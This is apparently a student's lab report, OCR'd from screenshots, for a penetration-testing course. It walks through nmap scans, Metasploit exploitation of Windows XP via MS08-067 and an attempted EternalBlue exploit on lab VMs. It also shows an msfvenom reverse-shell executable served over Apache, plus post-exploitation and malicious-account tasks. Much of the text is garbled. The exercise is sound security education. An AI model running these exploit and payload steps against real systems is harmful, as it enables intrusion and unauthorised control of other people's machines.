Report Assignment 4

At the end of this module, each student must submit a report indicating the completion of
the following

tasks. Make sure you take screenshots as proof.

You need to power on the following VMs for this assignment.

¢ Internal Kali (Attacker)

e pfSense VM (power on only)

¢ Windows XP, Windows Server 2022, or Windows 7 (depending on the subtasks).

Task A. Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each)

In this task, you need to complete the following steps to exploit SMB vulnerability on
Windows XP.

1. Run a port scan against the Windows XP using the nmap command to identify open ports
and

services.

2. ldentify the SMB port number (default: 445) and confirm that it is open.

&3 Kali - Internal Workstation on CY301-BNAJAOO1 - Virtual Machine Connection
File Action Media View Help
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VMshare s root@kali: ~
File Actions Edit View Help

192 0.14
Starting Nma 4SVN ( https://nmap.org ) at 2024-07-23 01:26 EDT
Nmap scan report for 192.168.10.14
Host is up (0.016s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:15:5D:40:57:09 (Microsoft)
File System
Nmap done: 1 IP address (1 host up) scanned in 4.29 seconds

Metasploit tip: Open an interactive Ruby terminal with irb

VMshare

| use nmap to see the open ports and launch Metasploit framework
3. Launch Metasploit Framework and search for the exploit module: ms08_067_netapi



4. Use ms08_067_netapi as the exploit module and set meterpreter reverse_tcp as the
payload.

5. Use 5525 as the listening port number. Configure the rest of the parameters. Display your
configurations and exploit the target.

&3 Kali - Internal Workstation on CY301-BNAJA0D1 - Virtual Machine Connection

File Action Media View Help
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VMshare E root@kali: ~
File Actions Edit View Help

msfé exploit( ) > se
payload = windows/meterpreter/reverse_tcp
msf6 exploit( )is's
lhost = 192.168.10.13
msf6 exploit( ) >s
ost = 192.168.10.14
msf6 exploit( > set lport 5525
lport = 5525
msf6 exploit( > exploit

Started reverse TCP handler on 192.168.10.13:5525
192.168.10.14:445 - Automatically detecting the target...

File System 192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
192.168.10.14:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
192.168.10.14:445 - Attempting to trigger the vulnerability...

Sending stage (176198 bytes) to 1
Meterpreter session 1 opened (192 .13:5525 — 192.168.10.14:1037) at 2024-07-
23 11:48:06 -0400

meterpreter > i

VMshare

X

~a | - ;_./Z.(/ ~ 9

q m Hyper-V Manager 1% Kali - Internal Work... % pFsense - Firewall 6... & Windows 7 on CY3... 3 Windows Server 20... & Wind

Above | highlighted every step

6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target
machine

if the exploit is successful.

7. [Post-exploitation] In the meterpreter shell, display the target system’s local date and
time.

8. [Post-exploitation] In the meterpreter shell, get the SID of the user.

9. [Post-exploitation] In the meterpreter shell, get the current process identifier

10. [Post-exploitation] In the meterpreter shell, get system information about the target.
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rhost = 192.168.10.14

msf6 exploit( ) > set lport 5525

lport = 5525

msf6 exploit( ) > exploit
Started reverse TCP handler on 192.168.10.13:5525
192.168.10.14:445 - Automatically detecting the target...
192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
192.168.10.14:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

E 192.168.10.14:445 - Attempting to trigger the vulnmerability...

Sending stage (176198 bytes) to 192.168.10.14

Meterpreter session 1 opened (192.168.10.13:5525 — 192.168.10.14:1037) at 2024-07-
File System 23 11:48:06 -0400

meterpreter > sc
Screenshot saved to: EIIcpAHO. jpeg
meterpreter > localt
Local Date/Tim 2024-07-23 11:53:08.695 Eastern Standard Time (UTC-500)
meterpreter > id
Server SID:
meterpreter > ge
Current pid:
meterpreter >
Computer G-JLFO9IOGWXFM
0s : Windows XP (5.1 Build 2600, Service Pack 3)
Architecture : x86
System Language : en_US
VMshare LU EST : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > ||

: . :
X '{“‘——/’Z‘,‘/

er- lanager ali - Internal orK... sense - Firewal ingaows / on inaows Server ZU...
Hyper-V Manag B Kali - Intemal Work... T pF Firewall 6.. 3% Windows7on CV3.. 3% Windows Server 20

| couldn’t get the screenshot because when | tried to reactive window XP, f8 did not
executed.

Task B. Exploit EternalBlue on Windows Server 2022 with Metasploit (10 pt)

In this task, try to use the same steps as shown in the video lecture to exploit the
EternalBlue vulnerability on Windows Server 2022. You may or may not establish a reverse
shell connection to the Windows Server 2022 using the same method as hacking Windows
Server 2008. Document your steps and show me your results.

You won’t lose points for a failed reverse shell connection. But you will lose points for
incorrect configurations, such as putting the wrong IP address for LHOST/RHOST, etc.
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Matching Modules
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ption

Name Disclosure Date Rank Descri

@ exploit/windows/s _010_eternal 2017-03-14
10 EternalBlue SMB Remote Windows Kernel Pool Corruption

1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-0
10 tternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-0
1@ EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-0
1@ SMB RCE Detection

4 exploit/windows/s b_doublepulsar_rce
UBLEPULSAR Remote Code Execution

blue average Yes MS17-0

2017-04-14 Yes SMB DO

Interact with a module by name or index. For example

msf6 > use exploit/windov
No payload configured, def
msf6 exploit(

010_ete Lblue
to windows/x64
) > sho

'meterpreter_/’x‘everse_tcp
ptic

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

. =, £*
3 g,

>

& Windows Server 20...

& Windows 7 on CY3... @ pFsense - Firewall 6... 1%1 Kali - Internal Work...
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Module options ( oit/wir

Name

RPOR

SMBDomain

SMBPass

SMBUser

Current Setting

VERIFY_ARCH true

VERIFY_TARGET true

yes

root@kali: ~

17_010_et

Required Description

The target host(s), see https://docs.met
asploit.com/docs/using-metasploit/basics
/using-metasploit.html

The target port (TCP)

(Optional) The Windows domain to use for
authentication. Only affects Windows Se
rver 2008 R2, Windows 7, Windows Embedde
d Standard 7 target machines.

(Optional) The password for the specifie
d username

(Optional) The username to authenticate
as

Check if remote architecture matches exp
loit Target. Only affects Windows Server
2008 R2, Windows 7, Windows Embedded St
andard 7 target machines.

Check if remote 0S matches exploit Targe
t. Only affects Windows Server 2008 R2,

Windows 7, Windows Embedded Standard 7 t
arget machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name
EXITFUNC
LHOST

LPO

Current Setting
thread

192.

Exploit target:

q & Hyper-V Manager

Required

yes

IEI Windows 7 on CY3... & pFsense - Firewall 6... & Kali - Internal Work...

Description

Exit technique (Accepted: '', seh, thread, pr
ocess, none)

The listen address (an interface may be speci
fied)

The listen port

I% Windows Server 20...




E3 Kali - Internal Workstation on CY301-BNAJAOO1 - Virtual Machine Connection
File Action Media View Help
D@0 nnfo Ba

S

=

VMshare . root@kali: ~
File Actions Edit View Help

Exploit target:
Id Name

®@ Automatic Target

View the full module info with the , or command.

FHeSySten\ exploit( ) > set payload windows/x64/meterpreter/re

e_tcp

payload = windows/x64/meterpreter/reverse_tcp

msf6 exploit( ) > set lhost 192

lhost = 192.168.10.13

msf6 exploit(

rhost = 192.168.10.19
exploit(

msf6 exploit(

Started reverse TCP handler on 192.168.10.13:5525
192.168.10.19:445 - Using liary/scanner/smb/smb_ms17_010 as check
192.168.10.19:445 = :ConnectionTimeout: The connection with (192.168.10.19:
445) timed out.
VMshare 192.168.10.19:445 c F 100% complete)
192.168.10.19:445 - S le.
Exploit completed,

Task C. Exploit Windows 7 with a deliverable payload (70 pt).

In this task, you need to create an executable payload with the required configurations
below.

1. Once your payload is ready, you should upload it to the web server running on Kali Linux
and download the payload from Windows 7, then execute it on the target to make a reverse
shell. Ofcourse, don't forget to configure your Metasploit on Kali Linux before the payload is
triggered on the target VM. (10 pt).
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Metasploit

: )loit v6.3.55-dev
2397 exploits - 1235 auxiliary - 422 post
1391 payloads - 46 encoders - 11 nops
9 evasion

Metasploit Documentation: https://docs.metasploit.com/

nsf6 > use exploit/multi/handler

File System Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > s yload windows/x64
payload = windows/x64/meterpre everse_tcp
msf6 exploit( ) > set ost 192.168.10.13
lhost = 192.168.10.13
msf6 exploit( ) > set rhost 192.168.10.9
[!] Unknown datastore option: rhost. Did you mean lhost?
rhost = 192.168.10.9
msf6 exploit( ) > set lport 5525
lport = 5525
msf6 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
VMshare e e e TR B B T

Payload options (windows/x64/meterpreter/reverse_tcp):
2
> k ——

™~

q * Hyper-V Manager & Kali - Internal Work... & pFsense - Firewall 6... & Windows 7 on CY3... 3 Windows Server 20...

The requirements for your payload are

¢ Payload Name: Use your MIDAS ID (for example, pjiang.exe) (5pt)

e Listening port: 5525 (5pt)

[Post-exploitation] Once you have established the reverse shell connection to the target
Windows 7, complete the following tasks in your meterpreter shell:
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Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, p
rocess, none)
LHOST 92. .10.13 The listen address (an interface may be spec
ified)
PORT 5525 The listen port

Exploit target:
File System
Id Name

® Wildcard Target

View the full module info with the , or command.

msf6 exploit( > ms windows/:
10.13 ort=5525 -f exe -o Jé 1.
exec: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.13 lport=5525 -
f exe -0 bnaja0@0l.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
VMshare [-] No platform was selected, choosing Msf ::Module::Platform from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Wy [ L
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X

q m Hyper-V Manager & Kali - Internal Wi & pFsense - Firewall 6... l‘é Windows 7 on CY3 1% Windows Server 20... & Wi

YO P LG orn d - ) 00 g «s MO C . ¥
-] No arch selected, selecting arch: x86 from the payload
o encoder specified, outputting raw payload
ayload size: 354 bytes
inal size of e» file: 73802 bytes
aved as: bnaja@el.
sf6 exploit(

Downloads Music RPvkhTpt.jpeg Videos
EIIcpAHO.jpeg Pictures shared-drives
ocuments gLnAdwsN. jpeg Public Templates
sf6 exploit( I |

2. Execute the screenshot command to take a screenshot of the target machine if the
exploitis

successful. (10 pt)

3. Create a text file on the attacker Kali named "YourMIDAS.txt" (replace YourMIDAS with
your



university MIDAS ID) and put the current timestamp in the file. Upload this file to the
target's

desktop. Then, login to Windows 7 VM and check if the file exists. You need to show me the
command that uploads the file. (10 pt)
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File Actions Edit View Help

8.10.13 lport=5525 -f exe -o bnaja@@l.exe
exec: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.13 lport=5525 -
f exe -0 bnaja0@l.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: bnaja@@l.exe
msf6 exploit( > 1s
File System exec: 1s

bnaja0@l.exe Downloads Music RPvkhTpt.jpeg Videos
Desktop EIICpAHO.jpeg Pictures shared-drives
Documents gLnAdwsN. jpeg Public Templates
msf6 exploit( ) > service apache2 start

exec: service apache2 start

msf6 exploit( ) > cp ja00l.exe /var/ww/html
exec: cp bnaja@@l.exe /var/uww tml

msf6 exploit( e/ wawi /html/
exec: ls -1 /var/www/html/

total 92
VMshare -rw-r-—-r— 1r root 73802 Jul 23 13:13 bnaja0ol
-rw-r--r-- 1 root root 10701 Nov 3@ 2023 index.html
-rw-r-—-r-- 1 root root 615 Nov 30 2023 index.nginx-debian.html
msf6 exploit( RN |
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C. | ® 192.168.10.13/bnaja001.exe

= Apps For quick access, place your bookmarks here on the bookmarks bar. Import
€@ Weicome to Goog & Chrome Web Sto

n bnaja001.exe o

q m Hyper-V Manager & Kali - Internal Work... 3 pFsense - Firewall 6... & Windows 7 on

Above i highlighted the internal kali ip and download the file

exec: cp bnaja@@l.exe /var/www/html
msf6 exploit( ) > exploit

VMshare Started reverse TCP handler on 192.168.10.13:5525
*C Exploit f r-interrupt]: Interrupt

loit: Inte d

msf6 exploit( ) > 1

After | download the file on window 7, when | go back to internal kali to take screenshot of
the file, it says exploit interrupted
[Privilege escalation]

4. Background your current session, then gain administrator-level privileges on the remote
system



(10 pt).

5. After you escalate the privilege, complete the following tasks:

a. Create a malicious account with your name and add this account to the administrator
group. You need to complete this step on the Attacker Side. (10 pt)

b. Remote access to the malicious account created in the previous step and browse the
files belonging to the user, "Windows 7", in RDP. (10 pt)

Task D. Extra Credit

Try to set up a reverse shell connection with Metasploit to Windows Server 2022 (10 points)
or

Windows 10 (10 points). You can use the technique we introduced in this class, or other
exploits not

covered by this course



